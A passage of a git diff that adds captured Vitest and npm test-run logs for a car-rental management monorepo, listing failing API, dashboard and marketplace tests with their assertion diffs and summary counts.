+AssertionError: expected AppError: Booking access token is required { …(3) } to match object { error: 'license_review_required' }
+(3 matching properties omitted from actual)
+
+- Expected
++ Received
+
+ Object {
+- "error": "license_review_required",
++ "error": "booking_token_required",
+ }
+
+ ❯ src/modules/site/site.test.ts:224:5
+ 222| vi.mocked(validateLicense).mockReturnValue({ status: 'VALID', requ…
+ 223|
+ 224| await expect(initPayment(SLUG, 'r-1', payBody)).rejects.toMatchObj…
+ | ^
+ 225| })
+ 226|
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[21/45]⎯
+
+ FAIL src/modules/site/site.test.ts > initPayment — payment guard paths > throws AppError when PayPal is not configured
+AssertionError: expected AppError: Booking access token is required { …(3) } to match object { error: 'provider_not_configured' }
+(3 matching properties omitted from actual)
+
+- Expected
++ Received
+
+ Object {
+- "error": "provider_not_configured",
++ "error": "booking_token_required",
+ }
+
+ ❯ src/modules/site/site.test.ts:238:5
+ 236| vi.mocked(paypalSvc.isConfigured).mockReturnValue(false)
+ 237|
+ 238| await expect(initPayment(SLUG, 'r-1', payBody)).rejects.toMatchObj…
+ | ^
+ 239| })
+ 240|
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[22/45]⎯
+
+ FAIL src/modules/site/site.test.ts > initPayment — payment guard paths > returns checkoutUrl when PayPal is configured
+AppError: Booking access token is required
+ ❯ assertPublicBookingAccess src/modules/site/site.service.ts:244:21
+ 242|
+ 243| async function assertPublicBookingAccess(reservationId: string, token:…
+ 244| if (!token) throw new AppError('Booking access token is required', 4…
+ | ^
+ 245| const access = await repo.findReservationPublicAccess(reservationId,…
+ 246| if (!access) throw new AppError('Booking not found', 404, 'not_found…
+ ❯ Module.initPayment src/modules/site/site.service.ts:260:9
+ ❯ src/modules/site/site.test.ts:254:20
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯
+Serialized Error: { statusCode: 403, error: 'booking_token_required', data: undefined }
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[23/45]⎯
+
+ FAIL src/tests/api/admin-billing.api.test.ts > admin billing API contracts > coerces list filters and requires finance access
+AssertionError: expected 403 to be 200 // Object.is equality
+
+- Expected
++ Received
+
+- 200
++ 403
+
+ ❯ src/tests/api/admin-billing.api.test.ts:56:24
+ 54| .set('Authorization', 'Bearer admin-token')
+ 55|
+ 56| expect(res.status).toBe(200)
+ | ^
+ 57| expect(adminService.getBilling).toHaveBeenCalledWith({
+ 58| q: 'atlas',
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[24/45]⎯
+
+ FAIL src/tests/api/admin-billing.api.test.ts > admin billing API contracts > rejects oversized billing pagination before service execution
+AssertionError: expected 403 to be 400 // Object.is equality
+
+- Expected
++ Received
+
+- 400
++ 403
+
+ ❯ src/tests/api/admin-billing.api.test.ts:71:24
+ 69| .set('Authorization', 'Bearer admin-token')
+ 70|
+ 71| expect(res.status).toBe(400)
+ | ^
+ 72| expect(adminService.getBilling).not.toHaveBeenCalled()
+ 73| })
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[25/45]⎯
+
+ FAIL src/tests/api/admin-billing.api.test.ts > admin billing API contracts > streams invoice PDFs with content headers from the service boundary
+AssertionError: expected 403 to be 200 // Object.is equality
+
+- Expected
++ Received
+
+- 200
++ 403
+
+ ❯ src/tests/api/admin-billing.api.test.ts:85:24
+ 83| .set('Authorization', 'Bearer admin-token')
+ 84|
+ 85| expect(res.status).toBe(200)
+ | ^
+ 86| expect(res.header['content-type']).toContain('application/pdf')
+ 87| expect(res.header['content-disposition']).toContain('INV-2026-0000…
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[26/45]⎯
+
+ FAIL src/tests/api/admin-billing.api.test.ts > admin billing API contracts > passes parsed account updates with admin identity and request ip
+AssertionError: expected 403 to be 200 // Object.is equality
+
+- Expected
++ Received
+
+- 200
++ 403
+
+ ❯ src/tests/api/admin-billing.api.test.ts:99:24
+ 97| .send({ billingEmail: 'billing@example.test', invoiceTerms: 'NET…
+ 98|
+ 99| expect(res.status).toBe(200)
+ | ^
+ 100| expect(adminService.updateBillingAccount).toHaveBeenCalledWith(
+ 101| 'billing_account_1',
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[27/45]⎯
+
+ FAIL src/tests/api/admin-billing.api.test.ts > admin billing API contracts > rejects malformed draft invoice payloads before invoice creation
+AssertionError: expected 403 to be 400 // Object.is equality
+
+- Expected
++ Received
+
+- 400
++ 403
+
+ ❯ src/tests/api/admin-billing.api.test.ts:114:24
+ 112| .send({ invoiceType: 'MANUAL', lineItems: [] })
+ 113|
+ 114| expect(res.status).toBe(400)
+ | ^
+ 115| expect(adminService.createBillingInvoice).not.toHaveBeenCalled()
+ 116| })
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[28/45]⎯
+
+ FAIL src/tests/api/admin-menu-boundaries.api.test.ts > admin menu API contracts > rejects menu item creation with blank labels before service execution
+AssertionError: expected 403 to be 400 // Object.is equality
+
+- Expected
++ Received
+
+- 400
++ 403
+
+ ❯ src/tests/api/admin-menu-boundaries.api.test.ts:51:24
+ 49| .send({ label: ' ', itemType: 'INTERNAL_PAGE', routeOrUrl: '/f…
+ 50|
+ 51| expect(res.status).toBe(400)
+ | ^
+ 52| expect(menuService.createMenuItem).not.toHaveBeenCalled()
+ 53| })
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[29/45]⎯
+
+ FAIL src/tests/api/admin-menu-boundaries.api.test.ts > admin menu API contracts > passes normalized menu item creation payload with admin actor
+AssertionError: expected 403 to be 201 // Object.is equality
+
+- Expected
++ Received
+
+- 201
++ 403
+
+ ❯ src/tests/api/admin-menu-boundaries.api.test.ts:63:24
+ 61| .send({ label: ' Fleet ', itemType: 'INTERNAL_PAGE', routeOrUrl:…
+ 62|
+ 63| expect(res.status).toBe(201)
+ | ^
+ 64| expect(menuService.createMenuItem).toHaveBeenCalledWith(
+ 65| expect.objectContaining({ label: 'Fleet', itemType: 'INTERNAL_PA…
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[30/45]⎯
+
+ FAIL src/tests/api/admin-menu-boundaries.api.test.ts > admin menu API contracts > rejects invalid menu status bodies before mutation
+AssertionError: expected 403 to be 400 // Object.is equality
+
+- Expected
++ Received
+
+- 400
++ 403
+
+ ❯ src/tests/api/admin-menu-boundaries.api.test.ts:76:24
+ 74| .send({ isActive: 'false' })
+ 75|
+ 76| expect(res.status).toBe(400)
+ | ^
+ 77| expect(menuService.setMenuItemStatus).not.toHaveBeenCalled()
+ 78| })
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[31/45]⎯
+
+ FAIL src/tests/api/admin-menu-boundaries.api.test.ts > admin menu API contracts > requires admin privileges for menu mutations while support can preview
+AssertionError: expected 403 to be 200 // Object.is equality
+
+- Expected
++ Received
+
+- 200
++ 403
+
+ ❯ src/tests/api/admin-menu-boundaries.api.test.ts:94:31
+ 92| .set('Authorization', 'Bearer admin-token')
+ 93| .send({ companyId: 'company_1', role: 'MANAGER' })
+ 94| expect(previewRes.status).toBe(200)
+ | ^
+ 95| expect(menuService.previewCompanyMenu).toHaveBeenCalledWith({ comp…
+ 96| })
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[32/45]⎯
+
+ FAIL src/tests/api/admin-menu-boundaries.api.test.ts > admin menu API contracts > coerces audit-log pagination defaults and caps oversized limits
+AssertionError: expected 403 to be 200 // Object.is equality
+
+- Expected
++ Received
+
+- 200
++ 403
+
+ ❯ src/tests/api/admin-menu-boundaries.api.test.ts:104:31
+ 102| .get('/api/v1/admin/menu-audit-logs')
+ 103| .set('Authorization', 'Bearer admin-token')
+ 104| expect(defaultRes.status).toBe(200)
+ | ^
+ 105| expect(menuService.listMenuAuditLogs).toHaveBeenCalledWith({ page:…
+ 106|
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[33/45]⎯
+
+ FAIL src/tests/api/auth-middleware.api.test.ts > auth middleware API boundaries > rejects employee-protected routes when a renter token is used
+AssertionError: expected { error: 'invalid_token', …(2) } to deeply equal { error: 'invalid_token', …(2) }
+
+- Expected
++ Received
+
+ Object {
+ "error": "invalid_token",
+- "message": "Invalid token type for this endpoint",
++ "message": "Invalid or expired session token",
+ "statusCode": 401,
+ }
+
+ ❯ src/tests/api/auth-middleware.api.test.ts:72:22
+ 70|
+ 71| expect(res.status).toBe(401)
+ 72| expect(res.body).toEqual({ error: 'invalid_token', message: 'Inval…
+ | ^
+ 73| expect(prisma.employee.findUnique).not.toHaveBeenCalled()
+ 74| })
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[34/45]⎯
+
+ FAIL src/tests/api/auth-middleware.api.test.ts > auth middleware API boundaries > allows valid admin tokens through protected admin read routes
+AssertionError: expected 403 to be 200 // Object.is equality
+
+- Expected
++ Received
+
+- 200
++ 403
+
+ ❯ src/tests/api/auth-middleware.api.test.ts:146:24
+ 144| const res = await request(app).get('/api/v1/admin/companies').set(…
+ 145|
+ 146| expect(res.status).toBe(200)
+ | ^
+ 147| expect(res.body).toEqual({ data: { data: [{ id: 'company_1' }], pa…
+ 148| expect(adminService.listCompanies).toHaveBeenCalledWith({ page: 1,…
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[35/45]⎯
+
+ FAIL src/tests/api/payments.api.test.ts > payments API contract > accepts valid AmanPay webhooks and delegates the exact payload
+AssertionError: expected "spy" to be called with arguments: [ { transaction_id: 'txn_1', …(1) } ]
+
+Received:
+
+ 1st spy call:
+
+ Array [
+ Object {
+ "status": "PAID",
+ "transaction_id": "txn_1",
+ },
++ "{\"transaction_id\":\"txn_1\",\"status\":\"PAID\"}",
+ ]
+
+
+Number of calls: 1
+
+ ❯ src/tests/api/payments.api.test.ts:68:42
+ 66| expect(res.status).toBe(200)
+ 67| expect(res.body).toEqual({ received: true })
+ 68| expect(service.handleAmanpayWebhook).toHaveBeenCalledWith(payload)
+ | ^
+ 69| })
+ 70|
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[36/45]⎯
+
+ FAIL src/tests/api/payments.api.test.ts > payments API contract > accepts verified PayPal webhooks and delegates handling
+AssertionError: expected "spy" to be called with arguments: [ { …(2) } ]
+
+Received:
+
+ 1st spy call:
+
+ Array [
+ Object {
+ "event_type": "PAYMENT.CAPTURE.COMPLETED",
+ "resource": Object {
+ "id": "capture_1",
+ },
+ },
++ "{\"event_type\":\"PAYMENT.CAPTURE.COMPLETED\",\"resource\":{\"id\":\"capture_1\"}}",
+ ]
+
+
+Number of calls: 1
+
+ ❯ src/tests/api/payments.api.test.ts:96:41
+ 94| expect(res.status).toBe(200)
+ 95| expect(res.body).toEqual({ received: true })
+ 96| expect(service.handlePaypalWebhook).toHaveBeenCalledWith(payload)
+ | ^
+ 97| })
+ 98|
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[37/45]⎯
+
+ FAIL src/tests/api/public-validation.api.test.ts > public validation API contracts > defaults site payment currency to MAD for valid public payment requests
+AssertionError: expected 400 to be 200 // Object.is equality
+
+- Expected
++ Received
+
+- 200
++ 400
+
+ ❯ src/tests/api/public-validation.api.test.ts:111:24
+ 109| })
+ 110|
+ 111| expect(res.status).toBe(200)
+ | ^
+ 112| expect(siteService.initPayment).toHaveBeenCalledWith('atlas-cars',…
+ 113| provider: 'PAYPAL',
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[38/45]⎯
+
+ FAIL src/tests/api/subscriptions.api.test.ts > subscriptions public API > accepts verified PayPal webhooks and delegates handling to the subscription service
+AssertionError: expected "spy" to be called with arguments: [ { …(2) } ]
+
+Received:
+
+ 1st spy call:
+
+ Array [
+ Object {
+ "event_type": "PAYMENT.CAPTURE.COMPLETED",
+ "resource": Object {
+ "id": "capture_1",
+ },
+ },
++ "{\"event_type\":\"PAYMENT.CAPTURE.COMPLETED\",\"resource\":{\"id\":\"capture_1\"}}",
+ ]
+
+
+Number of calls: 1
+
+ ❯ src/tests/api/subscriptions.api.test.ts:103:41
+ 101| expect(res.status).toBe(200)
+ 102| expect(res.body).toEqual({ received: true })
+ 103| expect(service.handlePaypalWebhook).toHaveBeenCalledWith(payload)
+ | ^
+ 104| })
+ 105| })
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[39/45]⎯
+
+ FAIL src/tests/e2e/admin-billing-boundaries.e2e.test.ts > admin billing e2e boundaries > rejects anonymous billing access and malformed invoice creation without touching services
+AssertionError: expected 401 to be 400 // Object.is equality
+
+- Expected
++ Received
+
+- 400
++ 401
+
+ ❯ src/tests/e2e/admin-billing-boundaries.e2e.test.ts:37:30
+ 35| .send({ invoiceType: 'MADE_UP', lineItems: [{ quantity: 0, unitA…
+ 36|
+ 37| expect(malformed.status).toBe(400)
+ | ^
+ 38| expect(adminService.createBillingInvoice).not.toHaveBeenCalled()
+ 39| })
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[40/45]⎯
+
+ FAIL src/tests/e2e/vehicle-pricing-boundaries.e2e.test.ts > vehicle pricing e2e boundaries > rejects anonymous and malformed pricing requests without invoking pricing services
+AssertionError: expected 401 to be 400 // Object.is equality
+
+- Expected
++ Received
+
+- 400
++ 401
+
+ ❯ src/tests/e2e/vehicle-pricing-boundaries.e2e.test.ts:53:36
+ 51| .send({ pricingMode: 'AUTOMATIC', baseDailyRate: -50 })
+ 52|
+ 53| expect(malformedConfig.status).toBe(400)
+ | ^
+ 54| expect(vehicleService.updateVehiclePricing).not.toHaveBeenCalled()
+ 55|
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[41/45]⎯
+
+ Test Files 21 failed | 127 passed (148)
+ Tests 39 failed | 601 passed (640)
+ Start at 23:32:27
+ Duration 6.99s (transform 2.58s, setup 8ms, collect 30.38s, tests 3.22s, environment 16ms, prepare 10.35s)
+
+npm error Lifecycle script `test` failed with error:
+npm error code 1
+npm error path /Volumes/ExternalApps/Documents/car_management_system/apps/api
+npm error workspace @rentaldrivego/api@1.0.0
+npm error location /Volumes/ExternalApps/Documents/car_management_system/apps/api
+npm error command failed
+npm error command sh -c vitest run
diff --git a/test-dashboard-output-after-db-generate.txt b/test-dashboard-output-after-db-generate.txt
new file mode 100644
index 0000000..3296302
--- /dev/null
+++ b/test-dashboard-output-after-db-generate.txt
@@ -0,0 +1,56 @@
+
+> rentaldrivego@1.0.0 test:dashboard
+> npm run test --workspace @rentaldrivego/dashboard
+
+
+> @rentaldrivego/dashboard@1.0.0 test
+> vitest run
+
+[33mThe CJS build of Vite's Node API is deprecated. See https://vite.dev/guide/troubleshooting.html#vite-cjs-node-api-deprecated for more details.[39m
+
+ RUN v1.6.1 /Volumes/ExternalApps/Documents/car_management_system/apps/dashboard
+
+ ✓ src/lib/preferences.test.ts (4 tests) 3ms
+ ✓ src/hooks/useTeam.state.test.ts (5 tests) 3ms
+ ✓ src/components/reservations/VehicleConditionSheet.boundary.test.ts (5 tests) 4ms
+ ✓ src/middleware.test.ts (7 tests) 79ms
+ ✓ src/components/ui/StatCard.test.ts (4 tests) 3ms
+ ✓ src/lib/api.test.ts (4 tests) 83ms
+ ✓ src/components/reservations/DamageInspectionCard.helpers.test.ts (4 tests) 4ms
+ ❯ src/components/VehicleCalendar.boundary.test.ts (5 tests | 1 failed) 7ms
+ ❯ src/components/VehicleCalendar.boundary.test.ts > VehicleCalendar helpers > builds a full week-aligned month grid with leading and trailing blanks
+ → expected 2026-03-01T05:00:00.000Z to be null
+ ✓ src/components/VehiclePricingManager.helpers.test.ts (7 tests) 4ms
+ ✓ src/lib/dashboardPaths.test.ts (3 tests) 2ms
+ ✓ src/lib/appUrls.test.ts (4 tests) 3ms
+ ✓ src/components/layout/PublicShell.test.ts (2 tests) 2ms
+ ✓ src/lib/urls.test.ts (4 tests) 24ms
+ ✓ src/components/ui/BilingualInput.test.ts (4 tests) 2ms
+ ✓ src/app/public-auth-pages.test.ts (3 tests) 2ms
+
+⎯⎯⎯⎯⎯⎯⎯ Failed Tests 1 ⎯⎯⎯⎯⎯⎯⎯
+
+ FAIL src/components/VehicleCalendar.boundary.test.ts > VehicleCalendar helpers > builds a full week-aligned month grid with leading and trailing blanks
+AssertionError: expected 2026-03-01T05:00:00.000Z to be null
+ ❯ src/components/VehicleCalendar.boundary.test.ts:32:22
+ 30| const march = calendarGridDays(2026, 3)
+ 31| expect(march).toHaveLength(35)
+ 32| expect(march[0]).toBeNull()
+ | ^
+ 33| expect(march[6]?.getDate()).toBe(7)
+ 34| expect(march.at(-1)).toBeNull()
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[1/1]⎯
+
+ Test Files 1 failed | 14 passed (15)
+ Tests 1 failed | 64 passed (65)
+ Start at 00:08:07
+ Duration 754ms (transform 742ms, setup 0ms, collect 1.64s, tests 225ms, environment 1ms, prepare 1.25s)
+
+npm error Lifecycle script `test` failed with error:
+npm error code 1
+npm error path /Volumes/ExternalApps/Documents/car_management_system/apps/dashboard
+npm error workspace @rentaldrivego/dashboard@1.0.0
+npm error location /Volumes/ExternalApps/Documents/car_management_system/apps/dashboard
+npm error command failed
+npm error command sh -c vitest run
diff --git a/test-frontedns-after-db-generate.txt b/test-frontedns-after-db-generate.txt
new file mode 100644
index 0000000..1f9e862
--- /dev/null
+++ b/test-frontedns-after-db-generate.txt
@@ -0,0 +1,8 @@
+npm error Missing script: "test:frontedns"
+npm error
+npm error Did you mean this?
+npm error npm run test:frontends # run the "test:frontends" package script
+npm error
+npm error To see a list of scripts, run:
+npm error npm run
+npm error A complete log of this run can be found in: /Users/larbi/.npm/_logs/2026-06-10T04_10_55_339Z-debug-0.log
diff --git a/test-frontends-after-db-generate.txt b/test-frontends-after-db-generate.txt
new file mode 100644
index 0000000..11b9c3e
--- /dev/null
+++ b/test-frontends-after-db-generate.txt
@@ -0,0 +1,60 @@
+
+> rentaldrivego@1.0.0 test:frontends
+> npm run test:dashboard && npm run test:admin && npm run test:marketplace
+
+
+> rentaldrivego@1.0.0 test:dashboard
+> npm run test --workspace @rentaldrivego/dashboard
+
+
+> @rentaldrivego/dashboard@1.0.0 test
+> vitest run
+
+[33mThe CJS build of Vite's Node API is deprecated. See https://vite.dev/guide/troubleshooting.html#vite-cjs-node-api-deprecated for more details.[39m
+
+ RUN v1.6.1 /Volumes/ExternalApps/Documents/car_management_system/apps/dashboard
+
+ ✓ src/lib/preferences.test.ts (4 tests) 3ms
+ ✓ src/hooks/useTeam.state.test.ts (5 tests) 3ms
+ ✓ src/middleware.test.ts (7 tests) 78ms
+ ✓ src/components/reservations/VehicleConditionSheet.boundary.test.ts (5 tests) 2ms
+ ✓ src/components/ui/StatCard.test.ts (4 tests) 4ms
+ ✓ src/lib/api.test.ts (4 tests) 77ms
+ ✓ src/components/reservations/DamageInspectionCard.helpers.test.ts (4 tests) 3ms
+ ✓ src/components/VehiclePricingManager.helpers.test.ts (7 tests) 3ms
+ ❯ src/components/VehicleCalendar.boundary.test.ts (5 tests | 1 failed) 11ms
+ ❯ src/components/VehicleCalendar.boundary.test.ts > VehicleCalendar helpers > builds a full week-aligned month grid with leading and trailing blanks
+ → expected 2026-03-01T05:00:00.000Z to be null
+ ✓ src/lib/dashboardPaths.test.ts (3 tests) 1ms
+ ✓ src/lib/urls.test.ts (4 tests) 38ms
+ ✓ src/lib/appUrls.test.ts (4 tests) 2ms
+ ✓ src/components/ui/BilingualInput.test.ts (4 tests) 2ms
+ ✓ src/components/layout/PublicShell.test.ts (2 tests) 4ms
+ ✓ src/app/public-auth-pages.test.ts (3 tests) 2ms
+
+⎯⎯⎯⎯⎯⎯⎯ Failed Tests 1 ⎯⎯⎯⎯⎯⎯⎯
+
+ FAIL src/components/VehicleCalendar.boundary.test.ts > VehicleCalendar helpers > builds a full week-aligned month grid with leading and trailing blanks
+AssertionError: expected 2026-03-01T05:00:00.000Z to be null
+ ❯ src/components/VehicleCalendar.boundary.test.ts:32:22
+ 30| const march = calendarGridDays(2026, 3)
+ 31| expect(march).toHaveLength(35)
+ 32| expect(march[0]).toBeNull()
+ | ^
+ 33| expect(march[6]?.getDate()).toBe(7)
+ 34| expect(march.at(-1)).toBeNull()
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[1/1]⎯
+
+ Test Files 1 failed | 14 passed (15)
+ Tests 1 failed | 64 passed (65)
+ Start at 00:11:10
+ Duration 760ms (transform 501ms, setup 0ms, collect 1.41s, tests 233ms, environment 9ms, prepare 1.45s)
+
+npm error Lifecycle script `test` failed with error:
+npm error code 1
+npm error path /Volumes/ExternalApps/Documents/car_management_system/apps/dashboard
+npm error workspace @rentaldrivego/dashboard@1.0.0
+npm error location /Volumes/ExternalApps/Documents/car_management_system/apps/dashboard
+npm error command failed
+npm error command sh -c vitest run
diff --git a/test-marketplace-output-after-db-generate.txt b/test-marketplace-output-after-db-generate.txt
new file mode 100644
index 0000000..0dfaa7b
--- /dev/null
+++ b/test-marketplace-output-after-db-generate.txt
@@ -0,0 +1,84 @@
+
+> rentaldrivego@1.0.0 test:marketplace
+> npm run test --workspace @rentaldrivego/marketplace
+
+
+> @rentaldrivego/marketplace@1.0.0 test
+> vitest run
+
+[33mThe CJS build of Vite's Node API is deprecated. See https://vite.dev/guide/troubleshooting.html#vite-cjs-node-api-deprecated for more details.[39m
+
+ RUN v1.6.1 /Volumes/ExternalApps/Documents/car_management_system/apps/marketplace
+
+ ✓ src/lib/api.test.ts (5 tests) 6ms
+ ❯ src/lib/appUrls.test.ts (5 tests | 1 failed) 6ms
+ ❯ src/lib/appUrls.test.ts > marketplace app URL resolution > resolves server URLs from forwarded host/proto and handles invalid fallbacks safely
+ → expected 'https://market.example.com:3000' to be 'https://market.example.com' // Object.is equality
+ ✓ src/lib/renter.test.ts (4 tests) 29ms
+ ✓ src/lib/preferences.test.ts (3 tests) 2ms
+ ✓ src/middleware.test.ts (5 tests) 40ms
+ ✓ src/lib/footerContent.test.ts (4 tests) 8ms
+ ✓ src/components/FooterContentPage.test.ts (4 tests) 6ms
+ ✓ src/components/MarketplaceShell.content.test.ts (4 tests) 3ms
+ ❯ src/components/WorkspaceFrame.boundary.test.ts (5 tests | 1 failed) 7ms
+ ❯ src/components/WorkspaceFrame.boundary.test.ts > WorkspaceFrame helpers > sends users with an employee token directly to the dashboard frame path
+ → expected '/dashboard/sign-in' to be '/dashboard' // Object.is equality
+ ✓ src/lib/i18n.server.test.ts (3 tests) 2ms
+ ✓ src/lib/i18n.test.ts (2 tests) 3ms
+ ✓ src/components/BookingForm.boundary.test.ts (5 tests) 2ms
+ ✓ src/app/(public)/footer/[slug]/page.test.ts (3 tests) 4ms
+ ✓ src/app/(public)/app-policy-pages.test.ts (2 tests) 3ms
+ ✓ src/components/MarketplaceHeader.boundary.test.ts (4 tests) 2ms
+
+⎯⎯⎯⎯⎯⎯⎯ Failed Tests 2 ⎯⎯⎯⎯⎯⎯⎯
+
+ FAIL src/components/WorkspaceFrame.boundary.test.ts > WorkspaceFrame helpers > sends users with an employee token directly to the dashboard frame path
+AssertionError: expected '/dashboard/sign-in' to be '/dashboard' // Object.is equality
+
+- Expected
++ Received
+
+- /dashboard
++ /dashboard/sign-in
+
+ ❯ src/components/WorkspaceFrame.boundary.test.ts:28:44
+ 26| stubBrowser({ cookie: 'other=1; employee_session=token_123' })
+ 27|
+ 28| expect(getDefaultFramePath('sign-in')).toBe('/dashboard')
+ | ^
+ 29| })
+ 30|
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[1/2]⎯
+
+ FAIL src/lib/appUrls.test.ts > marketplace app URL resolution > resolves server URLs from forwarded host/proto and handles invalid fallbacks safely
+AssertionError: expected 'https://market.example.com:3000' to be 'https://market.example.com' // Object.is equality
+
+- Expected
++ Received
+
+- https://market.example.com
++ https://market.example.com:3000
+
+ ❯ src/lib/appUrls.test.ts:36:89
+ 34|
+ 35| it('resolves server URLs from forwarded host/proto and handles inval…
+ 36| expect(resolveServerAppUrl('http://localhost:3000', 'market.exampl…
+ | ^
+ 37| expect(resolveServerAppUrl('http://localhost:3000', null)).toBe('h…
+ 38| expect(resolveServerAppUrl('/relative', 'market.example.com')).toB…
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[2/2]⎯
+
+ Test Files 2 failed | 13 passed (15)
+ Tests 2 failed | 56 passed (58)
+ Start at 00:09:12
+ Duration 619ms (transform 491ms, setup 3ms, collect 1.20s, tests 123ms, environment 2ms, prepare 1.10s)
+
+npm error Lifecycle script `test` failed with error:
+npm error code 1
+npm error path /Volumes/ExternalApps/Documents/car_management_system/apps/marketplace
+npm error workspace @rentaldrivego/marketplace@1.0.0
+npm error location /Volumes/ExternalApps/Documents/car_management_system/apps/marketplace
+npm error command failed
+npm error command sh -c vitest run